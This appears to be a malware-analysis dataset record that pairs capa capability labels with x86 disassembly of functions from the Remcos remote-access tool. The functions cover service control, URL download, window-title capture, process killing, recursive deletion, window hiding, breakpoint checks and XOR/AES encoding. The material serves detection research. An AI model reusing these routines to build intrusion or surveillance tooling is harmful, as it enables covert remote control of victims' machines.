joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10018ed5
Capabilities:
Continue service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.10001f24
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x10018f0d
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x10018f2b
lea eax, [ebp - 0x1c]
push eax
push 3
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.10001f29
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10018f3c
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 2
xor ebx, ebx
mov byte [ebp - 1], cl
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
lea ecx, [ebp + 8]
mov esi, eax
call fcn.10001f24
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x10018f75
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x10018fb9
movzx eax, byte [ebp - 1]
or ecx, 0xffffffff
sub eax, ebx
je 0x10018f92
sub eax, 1
je 0x10018f8e
sub eax, 1
jne 0x10018f95
push 3
jmp 0x10018f94
push 2
jmp 0x10018f94
push 4
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.10001f29
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10018fde
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea ecx, [esp + 4]
mov dl, 0x30
push esi
push str.alarm.wav
call fcn.1000cadf
pop ecx
lea ecx, [esp + 8]
call fcn.10001f24
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x10019069
mov esi, 0x10072938
mov edx, 0x10062774
mov ecx, esi
call fcn.10005c55
test al, al
je 0x10019057
sub esp, 0x18
cmp byte [0x10071aa9], 0
mov ecx, esp
push 0x10068864
je 0x10019041
call fcn.100020bd
mov ecx, 0x10072950
jmp 0x1001904b
call fcn.100020bd
mov ecx, 0x10072568
push 0xa1
call fcn.10004be3
jmp 0x10019079
lea ecx, [esp + 8]
call fcn.10001f24
mov edx, eax
mov ecx, esi
call fcn.1001a761
lea ecx, [esp + 8]
call fcn.10001f24
mov ecx, eax
call fcn.10019087
lea ecx, [esp + 8]
call fcn.10001f29
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100190dc
Capabilities:
Check if file exists

Disassembly:
push ebx
push ecx
mov ecx, 0x10072938
mov bl, dl
call fcn.10001fe6
test bl, bl
je 0x100190f4
pop ebx
jmp fcn.10018fde
mov byte [0x10071aaa], 1
pop ebx
ret
Function at 0x1001930e
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
push ecx
lea ecx, [ebp + 8]
call fcn.10019546
cmp eax, 0xffffffff
jne 0x1001934f
lea ecx, [ebp + 8]
call fcn.10001f24
push eax
mov dl, 0x30
lea ecx, [ebp - 0x18]
call fcn.1000cb2b
pop ecx
push eax
lea ecx, [ebp + 8]
call fcn.10001f33
lea ecx, [ebp - 0x18]
call fcn.10001f29
mov ecx, esi
call fcn.100024c2
lea ecx, [ebp + 8]
test eax, eax
je 0x1001942e
call fcn.10001f24
mov edx, eax
mov ecx, esi
call fcn.1001a761
push str._alias_audio
mov edx, edi
lea ecx, [ebp - 0x78]
call fcn.10019e29
push eax
lea eax, [ebp + 8]
mov edx, str.open__
push str.__type
push eax
lea ecx, [ebp - 0x60]
call fcn.1000b533
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.100030df
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.10003069
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.100030df
pop ecx
lea ecx, [ebp - 0x18]
call fcn.10001f29
lea ecx, [ebp - 0x48]
call fcn.10001f29
lea ecx, [ebp - 0x60]
call fcn.10001f29
lea ecx, [ebp - 0x78]
call fcn.10001f29
xor ebx, ebx
lea ecx, [ebp - 0x30]
push ebx
push ebx
push ebx
call fcn.10001f24
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x10062774
call fcn.100020bd
push 0xa9
mov ecx, 0x10072950
call fcn.10004be3
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x10071aac], eax
jmp 0x100194f5
call fcn.10001f24
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1001936f
sub esp, 0x18
mov ecx, esp
push 0x10062774
call fcn.100020bd
push 0xa8
mov ecx, 0x10072950
call fcn.10004be3
jmp 0x10019537
cmp byte [0x10071aa8], bl
je 0x1001947d
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x10071aa8], bl
cmp byte [0x1006fd5b], bl
je 0x10019495
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x1006fd5b], bl
push ebx
push 0x14
lea eax, [ebp - 0x14]
push eax
push str.status_audio_mode
call esi
lea edx, [ebp - 0x14]
mov edi, str.stopped
mov ecx, ebx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x100194c8
inc ecx
cmp ecx, 8
jne 0x100194ad
push dword [0x10071aac]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x10071aac]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x100194f0
push dword [0x10071aac]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x10019424
mov eax, dword [0x10071aac]
test eax, eax
jne 0x10019465
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x10062774
call fcn.100020bd
push 0xaa
mov ecx, 0x10072950
call fcn.10004be3
lea ecx, [ebp - 0x30]
call fcn.10001f29
lea ecx, [ebp + 8]
call fcn.10001f29
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10019bd6
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x10019c58
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x10019c58
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x54]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x10019c4f
mov esi, dword [ebp - 0x4c]
inc esi
push esi
mov dword [ebp - 0x4c], esi
call fcn.100396d2
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x10019c4f
push esi
push edi
push eax
call fcn.10034cb0
add esp, 0xc
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
mov dword [esi], eax
mov eax, dword [ebp - 8]
push edi
push edi
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10019c61
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.10034cb0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.100042a7
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10019d2c
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10019d54
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret
Function at 0x1001a188
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], 0x105
xor esi, esi
push edi
mov dword [ebp - 4], esi
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x5c
pop edx
test eax, eax
jle 0x1001a1e2
mov ecx, edi
cmp word [ecx], dx
jne 0x1001a1c5
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, 3
je 0x1001a1e2
add ecx, 2
inc ebx
push edi
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp ebx, eax
jge 0x1001a1df
mov ecx, dword [ebp - 8]
push 0x5c
pop edx
jmp 0x1001a1b4
mov ebx, dword [ebp - 4]
xor eax, eax
mov word [edi + ebx*2], ax
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x1001a20f
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x1001a2f7
lea ecx, [ebp - 0x214]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x1001a218
jmp 0x1001a2c8
cmp word [ebp - 0x212], cx
jne 0x1001a2e2
cmp word [ebp - 0x210], 0x3f
jne 0x1001a2e2
cmp word [ebp - 0x20e], cx
jne 0x1001a2e2
cmp word [ebp + eax*2 - 0x214], cx
jne 0x1001a2e2
xor ecx, ecx
mov word [ebp + eax*2 - 0x214], cx
lea eax, [ebp - 0x624]
push 0x64
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x1001a35e
push edi
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1001a30d
push 0x104
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
je 0x1001a2fe
lea ecx, [ebp - 0x214]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x1001a2bd
sub ecx, edx
sar ecx, 1
push 0x5c
lea eax, [ecx - 1]
pop ecx
mov dword [ebp - 4], eax
cmp word [ebp - 0x214], cx
je 0x1001a228
mov esi, 0xa1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x1001a2e7
jmp 0x1001a2e2
mov eax, dword [ebp - 4]
push 0x5c
pop ecx
mov word [ebp + eax*2 - 0x214], cx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x1001a35e
lea eax, [edi + 2]
lea eax, [eax + ebx*2]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x41c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x1001a2e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001a2e7
Function at 0x1001a467
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
mov ebx, ecx
lea esi, [ebp - 0x418]
push edi
mov dword [ebp - 8], ebx
mov edx, ebx
sub esi, ebx
movzx eax, word [edx]
mov word [esi + edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x1001a482
lea ecx, [ebp - 0x418]
sub ecx, 2
xor edx, edx
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
cmp ax, dx
jne 0x1001a49c
mov eax, dword [0x100687c0]
lea edx, [ebp - 0x210]
mov dword [ecx], eax
sub edx, ebx
mov ax, word [0x100687c4]
mov word [ecx + 4], ax
mov ecx, ebx
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x1001a4c3
lea edi, [ebp - 0x210]
sub edi, 2
xor esi, esi
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, si
jne 0x1001a4dd
mov eax, dword [0x10062978]
mov dword [edi], eax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1001a651
mov ecx, esi
movzx eax, word [ebp + ecx - 0x210]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x41a], ax
test ax, ax
jne 0x1001a511
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x1001a638
lea ecx, [ebp - 0x63c]
call fcn.1001a3f1
test eax, eax
jne 0x1001a5d1
lea edx, [ebp - 0x63c]
xor ecx, ecx
mov esi, edx
mov ax, word [edx]
add edx, 2
cmp ax, cx
jne 0x1001a55c
lea edi, [ebp - 0x210]
sub edx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x1001a572
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test byte [ebp - 0x668], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x1001a5ee
lea ecx, [ebp - 0x210]
call fcn.1001a467
test eax, eax
je 0x1001a64a
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x1001a5b9
mov al, byte [ebp - 1]
test al, al
jne 0x1001a52d
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x1001a653
test byte [ebp - 0x668], 1
je 0x1001a609
push 0x80
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1001a64a
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x1001a61e
jmp 0x1001a5d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x1001a64a
xor eax, eax
mov byte [ebp - 1], al
jmp 0x1001a5d4
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001a65a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 4], ecx
push edi
mov edi, edx
sub eax, ebx
je 0x1001a684
sub eax, 1
jne 0x1001a67c
push 4
pop eax
mov ecx, eax
jmp 0x1001a68c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
jmp 0x1001a68c
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1001a6aa
xor al, al
jmp 0x1001a6e8
cmp dword [ebp + 0xc], 1
jne 0x1001a6c9
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1001a6c9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1001a6a6
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1001a6df
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001a6ef
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001a71d
xor al, al
jmp 0x1001a75b
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 4]
mov esi, eax
push ebx
push esi
call fcn.10002492
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push ebx
push eax
push esi
mov dword [ebp - 8], ebx
call fcn.10001fce
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x1001a752
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001a784
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001a7aa
xor eax, eax
jmp 0x1001a7bd
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret
Function at 0x1001a7c0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x1001a8bd
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.1000b4b6
push esi
lea ecx, [esp + 0x34]
call fcn.10001f24
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.10002343
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.10002306
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.10002343
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.10009772
sub esp, 0xc
mov ecx, esp
push 0x100689e0
call fcn.100042a7
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.10008abc
lea ecx, [esp + 0x54]
call fcn.1001a056
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.1000222e
test eax, eax
je 0x1001a8ab
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.10001e82
push eax
lea ecx, [esp + 0x38]
call fcn.100095e3
cmp eax, 0xffffffff
jne 0x1001a8ce
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.1000222e
cmp esi, eax
jb 0x1001a880
lea ecx, [esp + 0x24]
call fcn.10006b76
lea ecx, [esp + 0x30]
call fcn.10001f29
lea ecx, [ebp + 8]
call fcn.10001f29
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x1001a8f0
lea ecx, [esp + 0x30]
call fcn.10001f24
sub ebx, eax
movzx ecx, word [eax]
mov word [ebx + eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x1001a8e1
lea ecx, [esp + 0x24]
call fcn.10006b76
lea ecx, [esp + 0x30]
call fcn.10001f29
mov bl, 1
jmp 0x1001a8bd
Function at 0x1001ac11
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x1001acbd
sub ecx, 1
je 0x1001acaf
sub ecx, 1
je 0x1001aca1
sub ecx, 1
je 0x1001ac6e
sub ecx, 1
jne 0x1001acff
push 1
sub esp, 0x18
mov ecx, esp
push 0x100627ec
call fcn.100020bd
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.10011b45
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x100627e8
jmp 0x1001aceb
push 1
sub esp, 0x18
mov ecx, esp
push 0x10068528
call fcn.100020bd
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.10011b45
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x100627ec
jmp 0x1001aceb
push 1
sub esp, 0x18
mov ecx, esp
push 0x10068964
jmp 0x1001ac7a
push 1
sub esp, 0x18
mov ecx, esp
push 0x100627d4
jmp 0x1001ac7a
push 1
sub esp, 0x18
mov ebx, 0x100627ec
mov ecx, esp
push ebx
call fcn.100020bd
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.10011b45
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.100020bd
push str.TileWallpaper
mov edx, esi
call fcn.10011b45
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x1001afd8
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x10071aec]
test bl, bl
mov dword [0x10071b08], eax
pop ebx
jne 0x1001b000
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push edi
push 1
call fcn.1003a4bf
push eax
push 0x10068d18
push str.CONOUT_
call fcn.1003ebfc
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.1001af95
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.10034cb0
lea edi, [ebp - 0x64]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001b040
mov esi, str._n_tRemcos_v
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001b056
mov esi, str.4.9.4_Pro
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001b06b
push 6
pop ecx
mov esi, 0x10068e20
lea eax, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.10019582
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10020125
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x10020150
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x10020150
cmp al, 0xc0
je 0x10020150
cmp al, 0xcc
je 0x10020150
add edx, 2
cmp dx, cx
jb 0x10020135
pop esi
ret
Function at 0x10022b85
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, edx
mov edx, dword [ebp + 0xc]
lea esi, [edi + 4]
push esi
call fcn.10022b1f
mov edx, dword [ebp + 8]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x10022ba1
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x10022baf
pop edi
pop esi
pop ebp
ret

Function at 0x10024c8c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10024ca6
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x10024c99
pop esi
pop ebp
ret

Function at 0x10024ca9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, ecx
or eax, edx
push esi
mov esi, dword [ebp + 8]
or eax, esi
test al, 3
jne 0x10024cc6
shr esi, 2
push esi
call fcn.10024c8c
pop ecx
jmp 0x10024cd7
test esi, esi
je 0x10024cd7
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x10024ccc
pop esi
pop ebp
ret

Function at 0x10024cda
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x10024d00
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x10024cef
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10024d05
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x10064730
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x10024d0f
cmp ecx, str.SHA256wECDSA
jl 0x10024d0c
ret